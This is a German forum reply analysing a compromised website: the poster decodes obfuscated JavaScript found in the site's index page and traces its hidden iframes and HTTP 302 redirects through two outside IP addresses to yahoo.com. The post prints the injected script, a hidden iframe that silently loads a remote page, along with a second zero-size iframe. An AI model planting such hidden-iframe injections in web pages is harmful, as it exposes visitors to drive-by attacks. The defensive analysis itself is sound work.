Also ich hab mal ein wenig durchgeguckt.
Was macht der JS-Code da?
Der Code in deiner Index ist verschlüsselt.
Entschlüsselt steht folgendes da.
<SCRIPT>
window.status='Done';
document.write('<iframe name=cbc4738199a src=\'http://77.221.133.188/.if/go.html?'+Math.round(Math.random()*273890)+'8f71611b\' width=610 height=449 style=\'display: none\'></iframe>')</SCRIPT>
Das heißt also, dass ein iFrame erzeugt wird.
Nun zu der iFrame Zielseite.
Die ist insgesamt ein wenig zufällig, allerdings kommt was ähnliches wie http://77.221.133.188/.if/go.html?1378768f71611b dabei raus.
Nun zu dieser Seite
Zitat
Forbidden
You don't have permission to access /.if/go.html on this server.
Netter Trick, stimmt aber nicht so ganz, denn im Source finden wir folgendes.
Zitat
<iframe src="http://77.221.133.188/.dif/go.php?sid=1" style="border:0px solid gray;" WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
Also ab zu der nächstens Seite.
Die leitet leider zu yahoo um, aber ist nicht ganz so unschuldig.
Wenn man sich den HTTP-Code anguckt, den die Server senden erhält man folgendes.
Zitat
http://77.221.133.188/.dif/go.php?sid=1
GET /.dif/go.php?sid=1 HTTP/1.1
Host: 77.221.133.188
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
HTTP/1.x 302 Found
Server: nginx/0.5.31
Date: Sat, 22 Dec 2007 13:48:44 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.1.6
Location: http://77.221.133.189/.sp/in.cgi?p=e
Content-Length: 0
Alles anzeigen
Interessant ist an diesem Code nur folgendes
Zitat
Das heisst, dass diese Seite automatisch auf http://77.221.133.189/.sp/in.cgi?p=e umleitet.
Nun näher dazu. Auch diese Seite leitet weiter.
Zitat
HTTP/1.x 302 Found
Server: nginx/0.5.31
Date: Sat, 22 Dec 2007 13:51:21 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Keep-Alive: timeout=20
Location: http://www.yahoo.com
Content-Length: 204
Alles anzeigen
Interessant ist aber, dass Content-Length nicht 0 ist, also wird auch HTML o.ä. an den Clienten geschickt.
Zitat
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
The document has moved here.</p>
</body></html>
Alles anzeigen
Also entweder habe ich was übersehen, oder es werden nur 2 iFrames mit dem Ziel Yahoo erstellt 